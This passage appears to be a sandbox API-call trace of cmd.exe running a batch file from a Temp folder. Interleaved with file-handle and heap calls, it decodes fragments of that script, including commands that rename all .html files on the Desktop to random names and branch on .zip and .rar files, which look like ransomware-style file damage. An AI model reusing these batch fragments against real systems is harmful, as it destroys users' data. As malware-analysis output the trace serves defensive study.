lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] GetFileType (hFile=0x74) returned 0x1 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0037.320] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=3538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] GetFileType (hFile=0x74) returned 0x1 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0037.320] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=3545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.320] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.320] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.320] GetFileType (hFile=0x74) returned 0x1 [0037.320] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0037.321] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=3547, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.321] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.321] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.321] GetFileType (hFile=0x74) returned 0x1 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0037.321] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=3574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.321] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.321] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.321] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.321] GetFileType (hFile=0x74) returned 0x1 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0037.321] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.321] SetFilePointer (in: hFile=0x74, lDistanceToMove=3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] GetFileType (hFile=0x74) returned 0x1 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0037.322] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l\r\n Lock\r\n") returned 4 [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] GetFileType (hFile=0x74) returned 0x1 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0037.322] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.322] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\nock\r\n") returned 6 [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.322] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.322] GetFileType (hFile=0x74) returned 0x1 [0037.322] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0037.322] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Desktop\r\nl %RANDOM%.XL\r\n") returned 12 [0037.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.323] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.323] GetFileType (hFile=0x74) returned 0x1 [0037.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0037.323] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.323] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.323] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ntop\r\n") returned 7 [0037.323] _close (_FileHandle=3) returned 0 [0037.323] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.323] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.323] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.323] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.324] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.324] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.324] SetConsoleInputExeNameW () returned 0x1 [0037.324] GetConsoleOutputCP () returned 0x1b5 [0037.324] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.324] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.324] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.324] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.324] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.324] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.324] GetProcessHeap () returned 0x4e0000 [0037.324] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.325] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.325] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0037.325] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180f, lpOverlapped=0x0) returned 1 [0037.325] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.325] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\n4 %RANDOM%.XL\r\n\n") returned 2 [0037.325] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.325] GetFileType (hFile=0x74) returned 0x1 [0037.325] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.325] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.325] GetProcessHeap () returned 0x4e0000 [0037.325] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.325] _tell (_FileHandle=3) returned 3616 [0037.325] _close (_FileHandle=3) returned 0 [0037.326] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.326] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.326] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.326] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.326] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.326] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0037.326] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180d, lpOverlapped=0x0) returned 1 [0037.326] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.326] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0037.326] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.326] GetFileType (hFile=0x74) returned 0x1 [0037.326] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.326] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.326] GetProcessHeap () returned 0x4e0000 [0037.326] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.326] GetProcessHeap () returned 0x4e0000 [0037.326] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.326] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.326] GetProcessHeap () returned 0x4e0000 [0037.326] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.327] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.327] GetProcessHeap () returned 0x4e0000 [0037.327] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.327] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.327] GetProcessHeap () returned 0x4e0000 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.327] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.327] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.327] GetProcessHeap () returned 0x4e0000 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.327] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.327] GetProcessHeap () returned 0x4e0000 [0037.327] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.327] GetProcessHeap () returned 0x4e0000 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.327] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.328] _tell (_FileHandle=3) returned 3641 [0037.328] _close (_FileHandle=3) returned 0 [0037.328] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.328] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.328] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.328] GetLastError () returned 0x2 [0037.328] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.328] GetLastError () returned 0x6 [0037.328] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.328] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.329] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.329] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.329] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.329] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.329] SetConsoleInputExeNameW () returned 0x1 [0037.329] GetConsoleOutputCP () returned 0x1b5 [0037.329] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.329] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.329] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.330] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.330] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.330] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.330] GetProcessHeap () returned 0x4e0000 [0037.330] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.330] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.330] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0037.330] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f4, lpOverlapped=0x0) returned 1 [0037.330] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.331] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0037.331] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.331] GetFileType (hFile=0x74) returned 0x1 [0037.331] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.331] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.331] GetProcessHeap () returned 0x4e0000 [0037.331] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.331] GetProcessHeap () returned 0x4e0000 [0037.331] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.331] _tell (_FileHandle=3) returned 3643 [0037.331] _close (_FileHandle=3) returned 0 [0037.331] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.331] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.331] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.331] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.331] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.331] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0037.331] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f2, lpOverlapped=0x0) returned 1 [0037.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.332] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0037.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.332] GetFileType (hFile=0x74) returned 0x1 [0037.332] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.332] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.332] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.332] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.332] GetProcessHeap () returned 0x4e0000 [0037.332] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 